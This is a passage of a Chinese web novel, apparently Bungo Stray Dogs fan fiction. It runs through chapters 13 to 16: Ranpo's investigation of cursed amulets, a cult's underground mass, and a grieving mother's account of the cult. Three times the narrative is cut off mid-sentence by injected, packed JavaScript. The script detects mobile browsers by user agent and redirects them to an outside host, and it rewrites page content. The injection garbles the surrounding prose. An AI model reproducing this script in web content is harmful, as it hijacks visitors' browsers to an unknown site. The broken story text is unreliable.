他穿了一件黑色的斗篷式风衣,里面是常见的衬衫背带裤,背带没有穿上,胡乱地耷在两侧,遭到了同样对待的是衬衫领口的深蓝色领结,比起领结,它们现在更像一团胡乱纠结在一起的布带。 我走过去,替他整理领结,大概是知道自己不擅长这些事,乱步君难得乖乖地站在那里,仍由我动作。 察觉到他在看我,我抬起眼睛,问,“怎么了吗?” “没什么,”乱步君安静了一会儿,很平常地说,“只是在想,你这个人,有的时候,意外的还挺难懂的。” 那是好的意思?坏的意思?我不太明白,或者说,我不太愿意去想自己的事情。 将注意力重新放回乱步君身上,系好领结后,犹豫了一下,我猜他是觉得拘束,就没有帮他整理背带,反正这样也挺好看了,不如说,乱步君穿着我准备的衣服这个事实,本身已经让我激动得要昏过去了。 “我出门了。”几乎是我放下手的那一刻,乱步君就迫不及待地跑向了玄关的方向。 我焦虑地追在他后面,“乱步君,一个人没问题吗?” “你啰嗦太多了啦。”他有些厌烦地鼓起脸颊。 “啊,对了,带上这个吧。”我想起什么,匆匆跑向厨房的方向,回来时,手上拿着一个小挎包。 “这是?”他的目光在挎包上停留了一会儿,没有打开,尽管没有打开,眼睛已经闪闪发亮,“你很上道嘛。” 挎包里装的,是这两天负责餐食的厨师做的三明治,此外,我还放了一些小零食、现金、湿巾纸之类实用的东西,总之,是按照春游的规格准备的。 “那我走啦。”乱步君背上挎包,随意地朝我挥了挥手,消失在了门后。 我有些寂寞地叹了口气,也转身回了房间,开始为晚上的事情做准备。 # “那家教会的事情?” 这是一间灯光昏暗的酒吧里,唯一的酒保,同时也是店主,小田谦治站在吧台后面,他的年纪大约四十岁,脸上有着多年的酒精和生活的印记。 说话时,他的眼神在空气中飘忽不定,时常流露出一种空洞的迷茫,仿佛心灵深处被什么东西占据了,悬在空中的手指不自觉地痉挛着。 他大概也察觉到了这一点,所以掩饰性地抓起面前的空杯子,反复擦拭着,那动作和寻常酒保为了营造让客人安心的氛围时不同,更像是在寻求自己内心的平静。 乱步有些无聊地从他衬衣胸口露出的半截赌马券上收回视线,不感兴趣地打量着酒吧内的陈设,顺便听着小田的自白。 提及教会时,小田的语气略带不屑,“他们那套理论,教你怎么通过什么他妈的‘心灵的启蒙’找回自我,什么公平不公平,讲得好像很深奥似的。” 他嗤笑一声,伸出一只手,掌心向上,食指拇指围成圈,“说到底,不还是想从信徒手里捞钱吗?” “要我说,勾勾手指就有大把信徒送上钞票的人,哪懂什么公平?”他大声嚷嚷着,“念经作法有什么用?真的关心穷人,把卖护身符拿来的钱分一分,这才叫拯救。” 乱步“嗯嗯”地随口答应着,伸出食指在卡座的沙发上一抹,摸到厚厚的一层灰。 “我从一开始就是冲着领免费护身符去的,他们的活动不记名,只要装成新人混进去,每次都能领到,”小田说到这里了,忍不住得意洋洋,“他们那群人信教信疯了,一点商机也看不到,那个护身符,二手市场上倒卖一下,能够卖到这个数。” 他用手比了个五。 “但是,大叔没有还清赌债吧?后来为什么不去了?” 听到“赌债”这个词,小田的脸色瞬间一变。 “谁派你来的?”他神经兮兮地左右张望着,冷笑一声,“他们现在派这种小鬼来做这种事情了?” “倒也不用别人告诉,看就知道了吧?”乱步苦恼地皱起一边眉毛,“比起这个,再多说点护身符的事情吧?我对超自然什么的,还不太擅长。” “超自然?”他重复了一遍这个词,在恍然大悟之后,露出了一个怜悯的笑容,仿佛在看一个一无所知地踏入地狱的人,“原来如此,你也去过那家教会了吧?” 说到这个话题,他的话一下子变多了,“我就这么说吧,那东西,那个护身符是活着的。” “活着的?” “一开始,我倒卖了几次护身符,没出什么差错,那群二道贩子,都追着我要货。”他啐了一口,仿佛对话语中的二道贩子很深恶痛绝似的,但这种痛恨,更像是用来掩饰某种深入骨髓的不安的虚张声势。 “后来有一天,我早上起来,去洗漱,一抬头,发现那个应该已经被卖出去的护身符,它……它自己回来了。” “它就那样戴在我的脖子上,连串护身符的绳子都一模一样,我吓坏了,但是转念一想,这也是件好事,就找了另一个中间人,又出手了一次。” “结果……” “又回来了是吗?”乱步乏味道,“好俗气的都市怪谈啊,大叔,你没有在骗我吧?” “你懂什么!”小田被他的这种态度激怒了,吼道,“那之后又重复了几次,再也没有中间人再愿意收我的护身符了,他们都说,是我自己把东西卖出去,又偷回来,把他们当傻子耍……” “你,你们,所有人,大家什么也不知道,我睡不着觉,一闭上眼睛,就能感觉到那东西的视线,它一直看着我,而且离得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我、我一开始也不想那么做的,但是他一直和我聊他的生活。”他近乎急切地为自己辩护。 “他说,他从下个月开始就要被调派到东京的总部去工作,上司给他加了薪,还有真由美,”说到这个名字的时候,他的神情恍惚了一下,“真由美答应了他的求婚。” 下一秒,他的声音骤然拔高,几乎是在尖叫,“凭什么!这根本就不公平!” 他的拳头重重敲在吧台上,一下又一下,“我们不是朋友吗?凭什么我要这样悲惨地活着,他却能得到幸福?” “然后你就背叛了他,把护身符塞到了他身上,”乱步不感兴趣地做了总结,“我也不是很明白啦,你们不是朋友吗?这样互相嫉妒,互相陷害也是友情的一种表现方式吗?” 小田通红的眼睛猛地锁定在了乱步的身上。 “最近好像一直在看人演戏,大家为什么都这么喜欢表演呢?”乱步对那杀人般的视线毫不在意,只是如此嘀咕着,走向了大门的方向。 “再见啦,大叔,谢谢你提供的情报。”他头也不回,举起一只手挥了挥,就算打过招呼了。 “竟然敢看不起我……”小田的呼吸粗重如牛,眼白上布满了血丝,颤抖的手指在料理台上摸索着,摸到了那把用来做果盘的菜刀,“像你这样的小鬼……像你这样的小鬼懂什么?” “你们,一个两个都看不起我!” 他大叫着,高高举起菜刀,猛地朝乱步的背影冲去。 “铛”,金铁相交的一瞬间,火星迸溅。 小田不由自主地后退一步,呆若木鸡,伴随着手腕上的剧痛,他手中的菜刀飞了出去,刀尖朝外,深深地插入木质的梁柱里。 不知何时出现在房间里的第三个人,左手袖口露出黑铁制的钩爪手套,刚才,千钧一发之际,正是这双包裹在钢铁中的手稳稳地击中了癫狂挥舞的菜刀,将其击飞。 柔顺垂坠的白色圣袍,在不起眼处镶有金色的丝线。 那是圣天锡教教主的装扮。 14. 第 14 章 横滨指路教会,建于十九世纪,由当时千里迢迢从美国来到日本的一对虔诚传教士夫妇筹资建立,这之后,先后经历了关东大地震、横滨大空袭等诸多事故,可以说,和这座城市一样多灾多难。 距教堂建成至今已有一百多年,如今的教堂是在被空袭焚毁的原址上重建的,外观不可避免地寒酸了许多,但仍然保持着基本的哥特样式,洁白的外墙在多年风雨的摧残下显出阴郁衰败的模样,倒是很符合今天的主题。 黑色的迈巴赫S650普尔曼悄无声息地在指路教会的门口停下。 我从车窗内望了望这座建筑,不可抑制地想到乱步君,在我们初见的那个夜晚,他仅凭三言两语就推断出了圣天锡杖的地下据点,在听到他说出指路教会的名字的时候,我难以掩饰自己惊讶的心情。 和我这种靠反复轮回收集情报,或是其他依靠技能点来提升智力的角色都不一样,乱步君的才能是货真价实,与生俱来的东西。 正因为这样,所以才更加珍贵。 乱步君,存在的本身,对我来说,大概就是类似于奇迹的东西吧,因为不可思议,所以才想一直看下去,看着这微弱的奇迹的闪光,到底能够燃烧多久,等待着终有一天,它也不可避免地熄灭的时刻。 然而,不知为何,它却一直没有熄灭。 轻轻的叩击声打断了我的思绪,我抬头看去,看见车窗外站着一个穿白色圣袍的家伙,他微微弯腰,一手背在身后,等待着我的回应。 这种过度彬彬有礼的姿态,大概也是圣天锡教特有的故弄玄虚?这样想着,我按下车窗。 对方的视线在我脸上梭巡过一圈,似乎因为我过于年轻的外表而迟疑,但这份惊讶很快就被微笑掩饰了过去,“千轨科技的时田社长,是吗?” 他向我确认。 我沉默地点点头,他恭敬地鞠了一躬,双手递来整整齐齐地折叠白色衣物,“您是第一次来吧,弥撒有着装要求,大部分客人都不想暴露身份,请时田社长也换上这个。” 我伸手接过,发现那是和他身上差不多圣袍。 “跟随前面的车辆继续前进就好,祝您享受今晚的时光。”他微笑着说。 “嗯。”我简单地答应了一声,随手把圣袍扔在车后座上,伸手按上车窗,在窗户合上的瞬间,我注意到那个工作人员盯着我被我轻慢地扔在一边的白色布料,露出了冰冷,甚至有些咬牙切齿的神色。 但这种神色很快就被他收敛了过去,他保持着微笑的表情,眼神里却有无法掩饰的怜悯和高高在上。 果然,圣天锡杖的信徒脑子都不太正常。 不过,我大概能理解他们的心情,在他们看来,我们这群“达官贵人”,大概非常可笑吧。 愚蠢地挥洒着手中的金钱,以为这样就能心安理得地买到救赎,却没有料想到,接下来将面对怎样的命运。 这样想着,我感受到身下的车子再次发动,向前望去,是长长的,看不到尽头的豪车队伍,即使是镰泷斥巨资购买的这辆迈巴赫,在这个车队里,都变得不起眼了起来。 教堂背面,巨大的铁门被工作人员合力移开,露出通往地下的,足够三辆车并排通过的巨大而深邃的漆黑通道。 阴冷的风从通道内吹出来,那气息就如同死神的轻笑。 外套口袋里的护身符若有所感地轻轻震动,我听见怪物的低吟,和从不知何时开始,就一直萦绕在鼻尖的恶臭。 在这场弥撒中,我们拿到的不是什么“方舟的船票”,更不会得到救赎,要说为什么。 因为我们就是被审判者,复仇对象,这场仪式的祭品,“愚蠢的消费者”。 我看着迈巴赫缓慢地没入隧道的阴影中,就像被深渊的巨口所吞没一般,在长长的食道中沉默地行进。 再停下时,我首先看见的,是地毯。 红色的羊绒地毯从脚下滚出去,一路迤逦地延伸,没入灯光昏暗的会场内部,豪车一辆接着一辆在红毯前停下,侍者迎上去开门,一双双价值不菲的皮鞋从车内伸出,踩在红毯上,而红毯如某种吞食声音的怪物,将来客的脚步声全部纳入口中。 我站在红毯上,环顾四周,人们都已经换上了刚才派发的那种白色圣袍,烛光摇曳,面孔隐藏在兜帽下,衣料摩挲,依稀可见明灭的阴影。 难以想象,在破旧的指路教会地下,居然还隐藏着这样豪华的场所。 每一处都布置得极尽考究,厚重的天鹅绒帷幔分割了空间,洁白的大理石柱挑起宴会厅高高的穹顶,穹顶上巨大的水晶吊灯并没有被点亮,取而代之的,是会场内四处分布着的一人多高的青铜女神雕塑。 雕塑们高高举起巨大的烛台,被熏烤得昏黄的玻璃罩下跳动着烛火,白色烛蜡如泪滴般垂下,而女神们的面容恬静,丝毫没有因为这繁重体力劳动而产生的怨怼之情。 设计出这个东西的人自己没怎么劳动过吧,我猜。 我漫无边际的思绪被上前引路的侍者打断了,为了和宾客做出区分,侍者们的脸上都佩戴了简约的白色面具。 他在一个恰到好处的距离停下,既不至于离得太远,让其他人听清我们的对话,又不会太近,让我觉得不适,脸上的笑容也是一样的恰到好处。 “时田社长,”他精准地在一群看起来毫无差别的白袍人之中,喊出了我的名字,“请跟我来,教主大人为您这样的贵客准备了特别的观赏席。” 我点点头,跟随他上了二楼,在走动的过程中,我能清晰地感觉到,四周投来的艳羡目光,看来即使是在这群被尊为“贵宾”的信徒中,还是划分出了三六九等。 就像为食用牛肉划分A5或者M9之类的等级一样,人们好像始终对这种金字塔游戏乐此不疲。 但是这一点,我也没什么评价的资格。 因为我也是一样,按照在游戏里剧情的多寡,将人划分等级。 经过长长的,装饰着繁复花卉纹样壁纸的走廊,一幅接着一幅,裱在金框里的油画,侍者停下脚步,弯腰为我打开厚重的红木大门,所谓的特等席出现在我眼前——那是有着巨大落地玻璃窗的独立包间。 我环视房间一圈,和楼下一样,这里的装修十分考究,柚木地板上铺置着花纹编织地毯,烛光恰到好处地散落在房间的各个角落,落地窗前,摆放着一张看起来就十分舒适的巨大沙发,沙发边的小茶几已经备好了几层一口大小的精致茶点和唐·佩里侬的香槟。 “请尽情享受今晚的时光,时田社长。”侍者行了个礼,“有任何需求都可以按铃,我们随时为您服务。” 在得到我的首肯后,他为我拉上门,悄无声息地离开了。 现在,包间里只剩下了我一个人。 我在沙发上坐下,垂眸看着下方攒动的白色人潮。 我猜,包间的某处应该藏有音响,楼下的一切声音,都清晰而忠实被它转播,在这个密闭的空间中重现。 距离仪式开始,还有一段时间,人群觥筹交错,肆无忌惮地谈论着在外界听来甚至有些丧尽天良的话题。 “多亏那个炸弹犯,爆炸万岁!”有些上头的中年男人毫无顾忌地大声笑着,“听说藤川那家伙年初一无所知地投资了铁路,现在大概恨不得跳楼了吧?” “啊啦啊啦,我们能有今天,可不是那个恐怖分子的功劳,”气质高贵的女性捂嘴笑道,“都是靠教主大人未卜先知不是吗?” “说得对,敬教主大人。”有人高举酒杯。 “敬圣天锡杖!”更多人附和道。 “说起来,当时我明明也帮藤川介绍入教了,结果他压根不相信,还觉得我被骗了。”一个年轻男人放下酒杯后,这样说道,摇了摇头,语气似乎有些唏嘘。 “那只能说明他命不好。”一开始那个中年男人不以为然地摇摇头,“只有做了正确选择的人才能笑到最后,今天站在这里的我们,每一个都是神的选民,被方舟选中的人,不是吗?” “没错,那些没被选中的家伙就这样沉到底吧,哈哈哈哈哈。” 古旧的,不知从何处传出的钟声响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483314|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打断了这放肆的笑声。 一下接着一下,这声音在偌大的宴会厅内回荡,“铛”,如同撞击心脏般威严而浑厚的钟声。 伴随着钟声,人群自发地围成一个圈,而圆圈的中心,以血红色的圆形地毯为交界,空无一人。 不,还是有一个人的,在地毯的中心伫立着一座巨大的锡杖雕像,形状和之前分发的那种护身符别无二致,一个身影正坐在雕像下。 与周围的人不同,他穿着的圣袍是血红色的,在人群中十分醒目,会场中,人们的视线不自觉地落在红衣主教的身上,谈笑的声音不知何时消失了。 在一片肃穆的氛围中,每个人都在等待着,虽然甚至他们自己可能都不知道,自己到底在等待着些什么。 但是,正如大家所期待的那样,事情发生了。 钟声继续敲击着,每敲击一下,都有一个戴面具的人从人群中走出,他们极慢,极虔诚地一步一步向着血红圆形的中央走去,在雕塑前单膝跪下。 十二声钟响之后,十二个人围绕着圣杖跪下,他们低垂头颅,如同等待受勋的骑士。 而为之加冕的红衣主教正缓缓起身,他左手执权杖,右手执黄铜香炉,袅袅的烟雾自香炉的镂空花纹中腾出,人们不由自主地大口呼吸着,心醉神迷,每一个吸入焚香的人,脸上都不自觉地露出了恍惚的神色。 管风琴声不知何时响起,圣歌的旋律高洁而纯粹,雄伟的鸣响在建筑的墙壁之间回荡,密密麻麻的音符强硬地将在场的人拖拽进某种宏大的感受中,在这一刻,自我已经不再重要。 伴随着这旋律,红衣主教围绕着会场信步而行,逐一从十二位骑士身后走过,将权杖一一拍过他们的双肩。 肃穆古朴的咒语从他的口中传出,人们的神色逐渐变得狂热,不知是谁带头,大家高呼起“教主大人”。 而我,却在听清红衣主教声音的一瞬间,霍然起身。 这不是那个人的声音。 仿佛察觉到了我的目光,红衣主教若有所感地抬起头,那一瞬间,兜帽落下,出现在那里的,是预料之外的人的脸。 天照院仁的脸。 # “你是……” 灯光昏暗的酒吧里,小田谦治惊惧地盯着站在房间中心,身披白色圣袍的男人,瞳孔剧烈地收缩后又放大。 他发出一些无意义的嚎叫,中间夹杂着类似于“神”或者“恶魔”之类的词语,然而,这份聒噪却没有引起任何人的注意。 “真危险啊。” 轻浮的声音从圣袍下传出,兜帽随着抬头的动作自然滑下,露出半长的银发,金色的眼睛在酒吧昏黄的灯光下熠熠生辉,他微微偏头,仔细端详着在混乱中,被撞飞出去,狼狈地跌坐在地,痛得泪眼汪汪的乱步,“噗嗤”一下笑出来。 “怎么回事啊,乱步君?”他轻佻的声音有着蜂蜜一样丝滑的质感,不紧不慢地走过去,弯下腰,单手捏起乱步的下巴,仿佛很稀奇地似的左看右看,“每次见到你,都是这么狼狈的样子。” “我那个弟弟,没保护好你吗?” 乱步“啪”地一下拍开他的手,“你们这些人,都是这么自来熟的吗?” 他毫不畏惧地直视银发青年,“我现在可不认识你。” “也是呢,”银发青年泰然自若地收回手,若有所思地看着乱步,“我收回前言,看来弟弟君把你照顾得不错。” “是我在照顾他。”乱步从地上爬起来,拍了拍身上的尘土,反驳道。 青年因为这似曾相识的发言挑了挑眉毛,小声嘀咕了一句,“原来是走这种路线。” 尽管如此,乱步仍然捕捉到了这句话,他因为话语中所隐藏的含义而嘴角下撇,然而,没有给他任何提问的机会,青年再次开口。 “那么,请允许我做个自我介绍,”青年说,“好久不见,或者说,初次见面,乱步君。” 他笑意盈盈,“我叫卡洛斯·穆里尼奥,圣天锡杖的另一位教主。” “是pc哦。” 15. 第 15 章 羽衣町的咖啡店内,山本爱坐在卡座廉价的皮沙发上,用不安的神情扫视着眼前这对奇怪的组合。 坐在左侧的,是之前联系她的那位黑发少年,虽然在电话里就听过声音,但实际见到,她还是因为对方那过于稚气的外貌吓了一跳。 另一侧,则是银发深肤的外国人,大概二十来岁,半长的头发随意地扎在脑后,周身萦绕着一种略显轻浮的奇妙气质。 在对上那双金眸的瞬间,就像被某种大型肉食动物盯上了一样,山本不由自主地避开了对视,看向少年的方向,谨慎地开口。 “江户川君,对吧?” 埋首在菜单里的黑发少年一脸无所谓地点了点头。 “之前你在电话里说好是一个人来的吧?这位先生可信吗?” 乱步捧着菜单,专心致志地阅读平均长度在十个字左右,令人眼花缭乱的饮品名称,心不在焉地开口,“不知道哎,他是硬要跟上来的无关人员哦。” 山本皱了皱眉,想说什么,却被乱步高举起的手打断,“你好,我要点单。” 穿着女仆装的服务员立刻笑容满面地走过来。 “我要一份焦糖交响☆法式布丁~梦幻可丽饼,还有雪顶之吻~软乎软乎草莓奶昔。”乱步盯着菜单,一字不差地复述着那长长的菜品名。 一时之间,除了服务员甜美的应答声,餐桌上一片寂静。 他从菜单中抬起头茫然地环顾四周,“你们不点吗?” “红茶就好。”山本叹了口气,想说出口的问责被这软绵绵的氛围逼了回去,无奈地点了单。 卡洛斯笑了一会儿才开口,“一杯意式浓缩。” 服务员记下菜品,带着轻飘飘的笑容走开了。 “居然说是无关人员,真是让人伤心啊。”卡洛斯单手托着脸,侧头看身边的乱步,“我们难道不是出生入死的好伙伴吗?” “那是别的‘我’吧,和我没关系。”乱步略显冷淡地回答。 “哇,总觉得乱步君很排斥我。”越是这样,卡洛斯就越来劲,他凑过去,黏糊糊地发问,“难道是为了照顾弟弟君的心情?乱步君在为他守贞吗?” 这个词用在未成年人身上实在不合适,坐在对面的山本女士轻咳了一声,用相当严厉的目光盯着卡洛斯看。 他做了一个投降的手势,老老实实地正襟危坐。 山本女士大概四十多岁,身形瘦弱,眼中却带着一种难以言喻的坚毅,卡洛斯对这种会让他想起老妈的女性没办法。 “我们可以聊正事了吗?”山本女士说,柔声细语里有一种不容置疑,乱步看了她一眼,知道这种威严是源于多年的教师经验。 “我想知道圣天锡杖的事情。” “圣天锡杖啊……”她低下头,“让我想想,该从哪里开始呢?” “最初我只是觉得他们的理论很吸引人,”她说,很难想象,像她这样坚强的人也会被那种老套的话术吸引,大概是看出了对面二人的想法,她苦笑一声,“那是一段艰难的时间,我失去了孩子。” “两个儿子,参加了常暗岛战役,都再也没有回来。”她的语气很平静,但任谁看到那双眼睛,大概都能感觉到,那是怎样一种深刻的伤痛。 “一开始是参加了常暗岛战役牺牲士兵家属协会,”她说,“有传言说,孩子们在那里遭到了非人道的对待,大家都在为了这件事情的真相奔波,举办游行,联络媒体,找相关人士了解情况,虽然就算这样做,已经失去的人也再也回不来了,或许是没有意义的吧,但是,那个时候,大家只是希望有人能对这件事情负责而已。” 她淡淡道,“但那是相当消耗人的事情,来自各方的阻力,甚至是胁迫,游行被管制,媒体曲解我们的发言,相关人士把事情像踢皮球一样含糊不清地推来推去,注意到的时候,协会里的成员已经越来越少了,我想这就是结局了,也渐渐不再去参加活动。” “小林小姐就是在那个时候找到我的,她比我小很多,以前也是家属会的成员,在那次战役中失去了新婚的丈夫,她说,她找到了正确的方法,比家属会那些徒劳的活动要有用的多,认识那么久,我还是第一次听到她那么高兴。” “打扰了。”服务员走过来上了菜,白骨瓷杯里琥珀色的红茶,小小的咖啡杯,还有和它们名字一样华丽的焦糖交响☆法式布丁~梦幻可丽饼和雪顶之吻~软乎软乎草莓奶昔。 山本女士说了声“谢谢”,端起茶杯轻呷了一口,餐桌上短暂地静默了片刻,于是那些沉重的过往就像茶托上的方糖碎末一样,被轻飘飘地吹走了。 “她问我,现在还是整宿整宿地睡不着觉吗?我说‘是’,于是她带我参加圣天锡教的宣讲会,说实话,那样的确轻松多了,把怨恨投射在那看不见摸不着的巨大事物上,那么多人,听你的故事,和你一起咒骂世道的不公,然后大家抱在一起哭成一团,我的感情再也不是难以承受的,私人的事情,教会里的大家互称兄弟姊妹,有那么多的家人和我一起承担。” “最后一次参加集会的时候,教会发给我们一种像护身符一样的小东西,说是‘有神秘力量,能够为我们指引方向’,小林小姐好像对这个护身符特别痴迷,那个时候,我已经打算离开教会了,于是把自己的那份也给了她,‘就当是我的祝福啦’,我这么说,然后我们很久没见面。” “大概过了两三个月吧,有一天,我去市场买菜,又遇见了小林小姐。她变了很多,消瘦了,我和她打招呼,她呆呆看了我很久,才认出我。我问她最近怎样,她说很好,从来没有这么好过。但我却觉得,好像不是那样的。” “我和她说话,她每一句话,每一个动作,都要反应好久,就像是……灵魂和身体脱节了一样。” “一开始,我以为是她吸食了什么药物,宗教组织用药物来控制信徒,不是时常有这样的传闻吗?”她的声音越来越低,眼中露出一丝恐惧,“后来我发现,根本不是那么一回事,那是更加……更加难以解释的事情,我不敢告诉任何人,我怕他们觉得,我疯了。” “我很担心小林小姐,那次之后,我试着重新和她建立联系,打电话约她出来,有时候,我和她说话,总是有一种强烈的违和感,就像在和另一个人说话一样,好像面前只是一个和她长得一样的人,在扮演她,但是,这是不可能的,对吧?” 说到最后,她的声音干涩得可怕,近乎恳求地看向面前的二人,拼命想要得到一个肯定的回答,仿佛只有这样,才能驱散内心的某种阴霾。 回答她的,只有长久的沉默。 乱步微微偏头,看向身侧的卡洛斯,白发青年的神色一片平静,只有嘴角有一抹不易察觉的,近乎嘲弄的笑意。 很难说清,他嘲笑的对象究竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483315|170053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁。 “你,为什么不去参加集会了呢?”卡洛斯突然开口。 山本女士愣了一下,几乎是防御性地反问,“这也是调查的一部分吗?” “不,只是我私人的好奇心,”卡洛斯双手交叉,置于下巴下方,金色的眼睛里闪烁着某种魔性的光,“据我所知,几乎没有人能在长期参加那个集会后主动退出。” 山本女士垂下眼眸,声音很轻,“因为再继续下去,就要忘记了。” “忘记?” “是啊,儿子们的声音,脸,和态度,都变得很模糊,”她扭头注视着窗外的夜景,“有一天突然发现,不知道从什么时候开始,想起他们的事情的时候,脑子里出现的,都是教会里的那些人。” “我,没有办法忍受这样的自己。” 乱步一言不发地用勺子刮着水晶高脚杯里残留的一点奶油,倏地起身。 “我会把小林小姐带回来的。”他说。 山本女士怔怔地看着眼前这个稚气未脱的少年,呆愣了一会儿,跟着起身,深深地鞠了一躬,“谢谢。” 她说。 离开咖啡厅,天色已经很晚,乱步走在前面,卡洛斯以一个不远不近的距离跟着他,没有离开的意思。 “为什么许那种承诺,乱步君?”他们沿着大冈川沿岸走了一会儿,樱花不知人间有多少残忍的事情,只是一味地簌簌落下,白发青年欣赏了一会儿夜樱,有些无聊地移开了视线,状似无意地搭话,“你明明知道,那是不可能做到的事情。” “拜你所赐,不是吗?我倒是想知道,”乱步的脸色少见的冷淡,他回头看卡洛斯,碧绿的眼眸里是不加掩饰的怒火,“那个世界的‘我’为什么会和你这种坏东西成为同伴。” 卡洛斯因为他这露骨的敌意而微怔,随即毫无顾忌地哈哈大笑起来,“乱步君,平时那么聪明,遇到和自己相关的事情,就特别迟钝呢。” 他这么说着,笑容里是赤裸的恶意,“为什么?你自己不应该最清楚吗?” 他轻巧地跳上河岸边窄窄的石围栏,居高临下望着脚底滚滚逝去的大冈川,“因为乱步君是个寂寞又随便的孩子。” 他双手插兜,在窄窄的石柱间跳跃,如履平地,毫不留情地吐出辛辣的评价,“无论是谁都可以,只要他愿意陪你玩过家家,称赞你,夸你,宠爱你,那么无论是欺骗还是演技,聪明的乱步君都可以学会视而不见。” 他扭过头,扯出一个不怀好意的笑容,“甚至包庇他。” “别这么瞪我嘛,乱步君。”他灵活地在狭窄的围栏上转了个圈,双手背在身后,外套的下摆被夜风吹得猎猎作响,“第一次被包庇的时候,我可是比你更加惊讶。” “那个正义的名侦探乱步君,居然因为我这种人恶堕了,真是……”他眯起眼睛,仿佛在回忆着什么一般,仔细地搜寻着形容词,“恶心。” “现在不也是吗?你是打算去找我那个笨蛋弟弟吧?就算他十句里面没有一句真话,把你当傻子耍,这么一想,你们还挺相配的呢。”他饶有兴致地弯下腰,打量着乱步脸上的神色,仿佛在品味他的动摇似的,“啊,不错的表情。” “真感人,但是我可不能让你们见面。”他兴奋地笑起来,张开双臂,“毕竟,在那之前,乱步君有要先还给我的东西嘛。” “让我们来做个了断吧。” 16. 第 16 章 被耍了。 在和楼下的天照院仁对上视线的一瞬间,这个想法无比清晰地出现在脑海里。 明明早知道那家伙是个什么样的货色。 明明比任何都更加了解他的狡猾之处。 却还是将他通过镰泷传达的讯息当成了约见的信号,傻傻地一脚踩进了陷阱。 那家伙,特意把我支开,现在应该是去见乱步君了吧。 一想到这里,恐慌的情感就堵在喉咙,让我几欲作呕。 楼下,天照院仁仍然继续着他的仪式,我知道,那其中百分之八十的部分都是故弄玄虚的演技,真正重要的部分,其实只有他吟诵的咒语,和镶嵌在他手上权杖上的,那散发着妖异光芒的紫色水晶。 伴随着他的吟诵,楼下的宾客脸上浮现出了困惑的神色,有一部分不由自主地伸手,掩住了口鼻,我知道,即使有着焚香的掩盖,到了这个阶段,那股刺鼻的恶臭大概也终于隐藏不住。 就像我此刻所闻到的那样。 外套里的护身符不断地发热,以一种绝对异于常理的方式震动起来,黑色的宝石散发出异样的光芒,仿佛有什么正于其中流转。 楼下也有宾客察觉到了这种异样,一个男人——正是那个刚才在楼下大放厥词的男人,突兀地发出一声痛呼,哆嗦着手去够贴肉挂在脖子上的护身符,然而,却怎么也抓不住。 就像被看不见的手扼住了脖子一样,青紫的颜色蔓延上了男人的脸,在巨大的求生意志下,他终于解开领口,然而,眼前的一幕却让他呆然了。 护身符深深地嵌入了他的身体里,仿佛原本就是身体器官的一部分一般,青色的,密密麻麻的血管在护身符与身体所连接的那一大块皮肤下鼓胀着,跳动着,如同活物。 “啊啊啊啊啊啊啊啊啊啊!!!”在看清眼前的景象后,男人发出了难以用言语形容的,如同动物般凄厉的尖叫声。 他大概已经完全失去了理智,我能看到他头顶上几乎瞬间下去一大截的san值条,他嚎叫着,伸出手,用指甲,用手掌,拼命地想将护身符从身体里抠挖出来。 抠挖得越用力,那叫声就越凄惨。 然而,这更像身体的本能反应,他的大脑像理解不了疼痛一样,驱使着四肢继续着动作。 血色,像花一样盛开,在白色的圣袍上蔓延,周围的人都呆呆地看着,在他们来得及做出任何反应之前,男人欣喜若狂地笑了。 下一秒,他猛地用力,护身符脱离了身体,因为惯性从手中摔了出去,在地毯上悄无声息地跳动了一下,徒劳地抖动着,仿佛在寻找寄生物,然而终于什么也没能找到,于是彻底地失去了声息。 “哈哈哈哈哈哈,看到没有,你们这群贱民,下水道的老鼠,别想从我这里夺走任何东西,是我赢了,听到没有,是我赢了!”男人大笑着,嘲笑着自己臆想中的敌人,为胜利欢欣鼓舞,然而,那笑声却后继无力,渐渐只剩下一些模糊的气音。 他呆呆地低下头,困惑地注视着自己的身体,胸膛上,不知何时多出一个巨大的血洞,视线越过粗糙的边缘,内里脏器的搏动都变得清晰可见。 他不可置信地睁大了眼睛,缓缓向走了两步,砰然倒下,即便如此,他也没有放弃挣扎,用手臂支撑起身体,在地上可怜地爬动着,拼命地抬起脑袋,视线在在场的男男女女脸上梭巡,向他们伸出手。 然而,几分钟前,还在一起喝着香槟,洽谈合作的伙伴们,此时却像不认识他一样,所到之处,人群如同摩西分海一般,惊惧地散开。 除了恐慌之外,他清楚地捕捉到了人们脸上的厌恶。 “他为什么这样?” “真是吓死人了。” “尽给别人添麻烦。” 尽管没有人将这些话说出口,但是他还是可以听到,那些事不关己的,傲慢的话语。 因为,他也曾是那些高高在上的人中一员。 他终于失去力气,举起的手落下。 伴随着这个动作,不远处地上的护身符剧烈地晃动起来,黑色的宝石上不知何时,已经布满裂纹,下一秒,宝石碎裂,黑色的,粘稠的,噩梦般无定形的原生质肿泡,如同潮水般从中涌出。 